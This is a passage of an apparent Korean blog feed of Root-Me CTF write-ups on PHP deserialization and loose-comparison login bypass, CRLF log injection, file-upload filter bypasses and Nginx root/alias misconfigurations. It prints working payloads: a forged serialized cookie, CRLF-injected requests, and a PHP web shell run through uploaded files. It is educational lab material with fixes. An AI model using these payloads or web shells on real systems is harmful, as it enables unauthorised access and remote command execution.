&amp;lt;form name=&quot;authentification&quot; action=&quot;index.php&quot; method=&quot;post&quot;&amp;gt;
&amp;lt;fieldset style=&quot;width:400px;&quot;&amp;gt;
&amp;lt;p&amp;gt;
    &amp;lt;label&amp;gt;Login :&amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;text&quot; name=&quot;login&quot; value=&quot;&quot; /&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;
    &amp;lt;label&amp;gt;Password :&amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; /&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;
    &amp;lt;label&amp;gt;Autologin next time :&amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;checkbox&quot; name=&quot;autologin&quot; value=&quot;1&quot; /&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;p style=&quot;text-align:center;&quot;&amp;gt;
    &amp;lt;input type=&quot;submit&quot; value=&quot;Authenticate&quot; /&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;/fieldset&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;?php
}

if(isset($_SESSION['login']) &amp;amp;&amp;amp; $_SESSION['login'] !== &quot;&quot;){
    echo &quot;&amp;lt;p&amp;gt;&amp;lt;a href='disconnect.php'&amp;gt;Disconnect&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&quot;;
}
?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;분석 요약&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 인증 흐름&lt;/h3&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;if(!isset($_SESSION['login']) || !$_SESSION['login']) {
    // (1) 로그인 폼이 POST 되었는가? -&amp;gt; 함정
    if($_POST['login'] &amp;amp;&amp;amp; $_POST['password']) {
        $data['login'] = $_POST['login'];
        $data['password'] = hash('sha256', $_POST['password']);
    }

    // (2) autologin 쿠키가 존재하는가?
    else if($_COOKIE['autologin']) {
        $data = unserialize($_COOKIE['autologin']);
        $autologin = &quot;autologin&quot;;
    }

    // (3) 비밀번호 검증
    if ($data['password'] == $auth[$data['login']]) {
        $_SESSION['login'] = $data['login'];
        ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증 경로는 크게 두 가지이며 이 중 autologin 쿠키에 의한 자동 로그인 로직이 우회 지점입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 취약점 포인트 (PHP의 == 느슨한 비교)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 분석 결과 $auth[$data[&amp;rsquo;login&amp;rsquo;]]값은 알 수 없기 때문에 해당 취약점 포인트를 사용해야 합니다.&lt;/p&gt;
&lt;pre class=&quot;nginx&quot;&gt;&lt;code&gt;if ($data['password'] == $auth[$data['login']])
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ 조건이 true가 되는 경우는 아래와 같습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PHP는 타입이 다른 값을 비교할 때 다음과 같이 자동 변환합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비교 결과 설명&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;true == &quot;something&quot;&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;문자열 &quot;something&quot;은 boolean으로 true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;true == &quot;&quot;&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;빈 문자열은 false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;true == &quot;0&quot;&lt;/td&gt;
&lt;td&gt;false&lt;/td&gt;
&lt;td&gt;&quot;0&quot;은 false&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 $data['password']에 boolean true가 들어가면 $auth[$data['login']]이 &quot;0&quot;이나 &quot;&quot;가 아니라면 우회가 가능합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실전이 아닌 문제라는 걸 감안했을때 $auth[&amp;hellip;] 결과가 &amp;ldquo;0&amp;rdquo; 또는 &amp;ldquo;&amp;rdquo; 일 가능성은 없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;인증 우회 시나리오&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;autologin 쿠키 생성
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;직렬화 결과 : a:2:{s:5:&quot;login&quot;;s:10:&quot;superadmin&quot;;s:8:&quot;password&quot;;b:1;}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;$payload = serialize([ 'login' =&amp;gt; 'superadmin', 'password' =&amp;gt; true // 핵심: boolean true ]);&lt;/li&gt;
&lt;li&gt;서버 동작 흐름
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;서버는 쿠키 값을 unserialize()하여 $data에 할당&lt;/li&gt;
&lt;li&gt;$data['login'] === 'superadmin&amp;rsquo;&lt;/li&gt;
&lt;li&gt;$data['password'] === true&lt;/li&gt;
&lt;li&gt;true == &quot;...&quot; &amp;rarr; true로 평가됩니다.&lt;/li&gt;
&lt;li&gt;$_SESSION['login'] = 'superadmin' &amp;rarr; 인증 통과&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;우회 성공&lt;/li&gt;
&lt;li&gt;if ($_SESSION['login'] === &quot;superadmin&quot;) { require_once('admin.inc.php'); }&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;대응 요약&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. unserialize() 사용 지양&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조작 가능한 값에서 unserialize() 사용 시 타입 주입, 객체 주입 등의 보안 취약점 발생 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대응 방법 : json_encode() / json_decode() 사용&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. == 대신 === 또는 hash_equals() 사용&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;==는 타입 변환을 허용해 &quot;password&quot; =&amp;gt; true 같은 우회가 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대응 방법 : 대응: === 또는 hash_equals()로 엄격 비교&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/312</guid>
      <comments>https://jangto.tistory.com/entry/PHP-Serialization#entry312comment</comments>
      <pubDate>Fri, 11 Jul 2025 10:12:49 +0900</pubDate>
    </item>
    <item>
      <title>CRLF</title>
      <link>https://jangto.tistory.com/entry/CRLF</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CRLF(Carriage Return + Line Feed, %0D%0A) 인젝션을 이용해 서버 로그에 인증 성공 로그를 조작하여 인증 우회를 시도하는 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 시작하면 다음과 같은 서버 로그 출력 형식이 주어집니다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;admin failed to authenticate.
admin authenticated.
guest failed to authenticate.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 로그인 요청에 대해 결과 로그를 남깁니다.&lt;/li&gt;
&lt;li&gt;특정 문자열 admin authenticated.가 &lt;b&gt;로그에 존재할 경우 인증된 것으로 간주&lt;/b&gt;되고 플래그를 반환할 것으로 추정됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 브라우저에서 일반적인 로그인을 테스트 해봤습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;admin / admin&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인은 실패했고 아래와 같이 로그가 추가된다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;admin failed to authenticate.
admin authenticated.
guest failed to authenticate.
admin failed to authenticate.
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답에는 실패 로그가 추가됩니다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;admin failed to authenticate.
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 결과를 통해 정상 로그인은 차단되며 로그 자체가 인증 근거가 된다는 점을 다시 한번 추정할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CRLF에 대해 잘 모르고 있었는데 CRLF 인젝션은 %0D (Carriage Return) + %0A (Line Feed)를 이용해 &lt;b&gt;로그 출력을 줄바꿈하고 새로운 로그 행을 삽입&lt;/b&gt;할 수 있는 기법이며 이를 통해 서버가 실제 처리하지 않은 인증 성공 로그를 &quot;삽입&quot;할 수 있습니다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;GET /web-serveur/ch14/?username=admin%0D%0A&amp;amp;password=admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답에는 성공과 실패 로그가 추가됩니다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;admin
failed to authenticate.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;줄바꿈이 발생하여 로그가 쪼개졌음을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 아래와 같이 username에 인증 성공 로그 문자열을 삽입합니다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;GET /web-serveur/ch14/?username=admin authenticated.%0D%0A&amp;amp;password=admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답에는 성공과 실패 로그가 추가됩니다.&lt;/p&gt;
&lt;pre class=&quot;erlang&quot;&gt;&lt;code&gt;admin authenticated.
failed to authenticate.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;성공 로그를 완성 했지만 달라진 점이 없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅&amp;nbsp;%0D%0A 중요 사항&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;로그 분석기 또는 내부 인증 판단 로직이&lt;/b&gt; 로그를 줄 단위로 해석할 때 admin authenticated. 로그가 단독 라인으로 완성되어 있어야 우회가 성공합니다.&lt;/li&gt;
&lt;li&gt;줄바꿈만 있으면 다음 줄과 합쳐질 수 있으므로 의미 없는 문자를 추가하여 &lt;b&gt;행 단위 로그를 완성&lt;/b&gt;해야 합니다.&lt;/li&gt;
&lt;li&gt;+는 공백으로 처리되어 URL 인코딩에서도 유효합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 아래와 같이 username에 인증 성공 로그 문자열과 의미없는 글자를 삽입합니다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;GET /web-serveur/ch14/?username=admin+authenticated.%0D%0ATEST&amp;amp;password=admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답에는 성공과 실패 로그가 추가됩니다.&lt;/p&gt;
&lt;pre class=&quot;subunit&quot;&gt;&lt;code&gt;admin authenticated.
TEST failed to authenticate.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;admin authenticated. 라는 완전한 로그 라인이 삽입되면서 인증이 우회되고 플래그가 반환됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;pre&amp;gt;
	...
	admin authenticated.
	TEST failed to authenticate.
&amp;lt;/pre&amp;gt;

&amp;lt;h3&amp;gt;
	Well done, 
	you can validate challenge with this password : [Flag]
&amp;lt;/h3&amp;gt;
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/311</guid>
      <comments>https://jangto.tistory.com/entry/CRLF#entry311comment</comments>
      <pubDate>Thu, 10 Jul 2025 10:11:40 +0900</pubDate>
    </item>
    <item>
      <title>File upload - Double extensions</title>
      <link>https://jangto.tistory.com/entry/File-upload-Double-extensions</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확장자 기반 필터링을 우회&lt;/b&gt;하여 악성 스크립트를 서버에 업로드하고 실행하는 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 폼은 아래와 같이 구성되어 있습니다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
	&amp;lt;input type=&quot;file&quot; name=&quot;file&quot;&amp;gt;
	&amp;lt;input type=&quot;submit&quot; value=&quot;upload&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서는 PNG, GIF, JPEG 확장자만 허용됩니다.&lt;/li&gt;
&lt;li&gt;.php 등의 스크립트 파일은 기본적으로 업로드가 불가능합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원격 명령 실행이 가능한 PHP 웹쉘 test.php를 준비합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 파일을 정상적으로 서버에 업로드하는 것이 목표입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;?php
	system($_GET['cmd'));
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test.php 파일을 직접 업로드하면 &quot;Wrong file type !&quot; 메시지가 출력되며 차단되는걸로 봐서 확장자 검사 또는 MIME 타입 검사 등이 서버에서 동작한다는걸 알 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드 요청을 브라우저에서 보내는 대신 Burp Suite Proxy로 가로채서 조작하여 업로드 해도 &quot;Wrong file type !&quot; 메시지가 출력됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Content-Type 헤더 값을 원래 text/php에서 image/png로 변경합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이중 확장자 우회를 위해 Burp Suite Proxy로 가로채서 조작합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 이름을 원래 test.php에서 test.php.png로 변경합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버는 파일을 이미지로 인식하여 업로드를 허용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드된 파일 경로에 접근하여 명령어 실행 여부를 확인합니다.&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;&amp;lt;http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/&amp;gt;/test.php.png?cmd=ls -al
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정상적으로 시스템 명령이 실행되며 명령어를 통해 숨겨진 passwd 파일을 읽으면 정답을 찾을 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/310</guid>
      <comments>https://jangto.tistory.com/entry/File-upload-Double-extensions#entry310comment</comments>
      <pubDate>Wed, 9 Jul 2025 10:09:26 +0900</pubDate>
    </item>
    <item>
      <title>File upload - MIME type</title>
      <link>https://jangto.tistory.com/entry/File-upload-MIME-type</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 취약점을 이용한 원격 코드 실행(RCE)후 서버 내부 파일을 열람하는 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 &lt;b&gt;MIME 타입 검사 우회&lt;/b&gt;를 통해 악성 스크립트가 서버에 업로드되어 실행되는 점이 핵심입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 폼은 아래와 같이 구성되어 있습니다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
	&amp;lt;input type=&quot;file&quot; name=&quot;file&quot;&amp;gt;
	&amp;lt;input type=&quot;submit&quot; value=&quot;upload&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서는 PNG, GIF, JPEG 확장자만 허용됩니다.&lt;/li&gt;
&lt;li&gt;.php 등의 스크립트 파일은 기본적으로 업로드가 불가능합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원격 명령 실행이 가능한 PHP 웹쉘 test.php를 준비합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 파일을 정상적으로 서버에 업로드하는 것이 목표입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;?php
	system($_GET['cmd'));
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test.php 파일을 직접 업로드하면 &quot;Wrong file type !&quot; 등의 메시지가 출력되며 차단되는걸로 봐서 확장자 검사 또는 MIME 타입 검사 등이 서버에서 동작한다는걸 알 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드 요청을 브라우저에서 보내는 대신 Burp Suite Proxy로 가로채서 조작합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Content-Type 헤더 값을 원래 text/php에서 image/png로 변경합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버는 파일을 이미지로 인식하여 업로드를 허용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드된 경로에 접근해 test.php 파일을 실행해 봅니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쿼리 파라미터 필수&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;&amp;lt;http://challenge01.root-me.org/web-serveur/ch21/galerie/upload/&amp;gt;/test.php?cmd=ls -al
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 명령어를 통해 숨겨진 passwd 파일을 읽으면 정답을 찾을 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/309</guid>
      <comments>https://jangto.tistory.com/entry/File-upload-MIME-type#entry309comment</comments>
      <pubDate>Tue, 8 Jul 2025 11:08:14 +0900</pubDate>
    </item>
    <item>
      <title>Nginx - Root Location Misconfiguration</title>
      <link>https://jangto.tistory.com/entry/Nginx-Root-Location-Misconfiguration</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;Nginx 서버 설정에서 잘못된 root 경로 지정으로 인해 웹 서버의 설정 파일들이 외부에 노출되는 보안 취약점을 이용하는 문제입니다.&lt;br&gt;웹 서버에서는 아래처럼 Nginx 설정하고 있습니다.&lt;/p&gt;&lt;pre class=&quot;crmsh&quot;&gt;&lt;code&gt;server {
    listen       80;
    server_name  _;
    root /etc/nginx;
 
    location = / {
        return 302 /login/login.html;
    }
 
    location /login/ {
        alias /usr/share/nginx/html/login/;
    }
 
 
    location /static/ {
        alias /var/www/app/static/;
    }
 
    location / {
        try_files $uri $uri/ =404;
        default_type text/plain;
 
    }
   
    error_page 404 =200 /error.txt;
 
    location /error.txt {
        internal;
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;root가 /etc/nginx로 설정되어 있어 해당 디렉토리의 모든 파일이 웹 루트를 통해 접근 가능합니다.&lt;/li&gt;&lt;li&gt;location / 블록에서는 try_files를 통해 파일이 없으면 404를 반환하지만 실제로 존재하는 설정 파일은 그대로 노출됩니다.&lt;/li&gt;&lt;li&gt;별도 필터링이 없어 사용자는 웹 브라우저로 /nginx.conf, /conf.d/default.conf 등 내부 설정 파일에 직접 접근할 수 있습니다.&lt;/li&gt;&lt;/ul&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://challenge01.root-me.org:59093/nginx.conf&quot; target=&quot;_self&quot;&gt;&lt;span&gt;http://challenge01.root-me.org:59093/nginx.conf&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;/etc/nginx/nginx.conf&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;nginx&quot;&gt;&lt;code&gt;user  nginx;
worker_processes  auto;

error_log  /var/log/nginx/error.log notice;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] &quot;$request&quot; '
                      '$status $body_bytes_sent &quot;$http_referer&quot; '
                      '&quot;$http_user_agent&quot; &quot;$http_x_forwarded_for&quot;';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    keepalive_timeout  65;

    #gzip  on;

    include /etc/nginx/conf.d/default.conf;
}
&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;다양한 설정 경로가 노출되는것을 확인할 수 있습니다.&lt;/li&gt;&lt;/ul&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;노출 되는 경로 중 &lt;a href=&quot;http://challenge01.root-me.org:59093/conf.d/default.conf&quot; target=&quot;_self&quot;&gt;&lt;span&gt;http://challenge01.root-me.org:59093/conf.d/default.conf&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;/etc/nginx/conf.d/default.conf&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;crmsh&quot;&gt;&lt;code&gt;server {
    listen       59093;
    server_name  _;
    root /etc/nginx;

    location = / {
        return 302 /login/login.html;
    }

    location /login/ {
        alias /usr/share/nginx/html/login/;
    }

    location /static/ {
        alias /var/www/app/static/;
    }

    location / {
        try_files $uri $uri/ =404;
        default_type text/plain;
 
    }
    
    error_page 404 =200 /error.txt;

    location /error.txt {
	internal;
    }
}

#Congratulation the flag is [Flag]
&lt;/code&gt;&lt;/pre&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;민감한 설정 파일 노출을 방지하기 위해 아래와 같이 특정 확장자에 대한 접근을 명시적으로 차단하는 것이 좋습니다.&lt;/p&gt;&lt;pre class=&quot;coq&quot;&gt;&lt;code&gt;location ~* \\.(conf|ini|env|bak|log|sql|yaml|yml)$ {
    deny all;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 root 디렉토리는 반드시 /etc/nginx와 같이 설정 파일이 포함된 시스템 디렉토리가 아닌 정적 파일 전용 디렉토리로 분리하여 구성해야 합니다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/307</guid>
      <comments>https://jangto.tistory.com/entry/Nginx-Root-Location-Misconfiguration#entry307comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:53:53 +0900</pubDate>
    </item>
    <item>
      <title>Nginx - Alias Misconfiguration</title>
      <link>https://jangto.tistory.com/entry/Nginx-Alias-Misconfiguration</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버(&lt;a href=&quot;http://challenge01.root-me.org:59092/&quot;&gt;http://challenge01.root-me.org:59092/&lt;/a&gt;)에 접속 시, 기본 로그인 페이지가 노출되는 것을 확인하였습니다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/static/style.css&quot;&amp;gt;
  &amp;lt;title&amp;gt;Login Page&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;form&amp;gt;
    &amp;lt;label for=&quot;username&quot;&amp;gt;Nom d'utilisateur:&amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;text&quot; id=&quot;username&quot; name=&quot;username&quot;&amp;gt;
    &amp;lt;br&amp;gt;
    &amp;lt;label for=&quot;password&quot;&amp;gt;Mot de passe:&amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;password&quot; id=&quot;password&quot; name=&quot;password&quot;&amp;gt;
    &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;
    &amp;lt;input type=&quot;submit&quot; value=&quot;Se connecter&quot;&amp;gt;
  &amp;lt;/form&amp;gt; 
  &amp;lt;script type=&quot;text/javascript&quot; src=&quot;/static/main.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
  &amp;lt;!--TODO: Patch /assets/ --&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 페이지 내에 &amp;lt;!--TODO: Patch /assets/ --&amp;gt;라는 주석이 포함되어 있어 /assets/ 경로에 취약점이 있을 가능성을 유추할 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl을 이용해 /assets/ 경로에 GET 요청을 보내자 다음과 같이 빈 디렉토리 인덱스 페이지가 출력되어 별다른 파일이나 하위 디렉토리가 노출되지 않는 것을 확인했습니다.&lt;/p&gt;
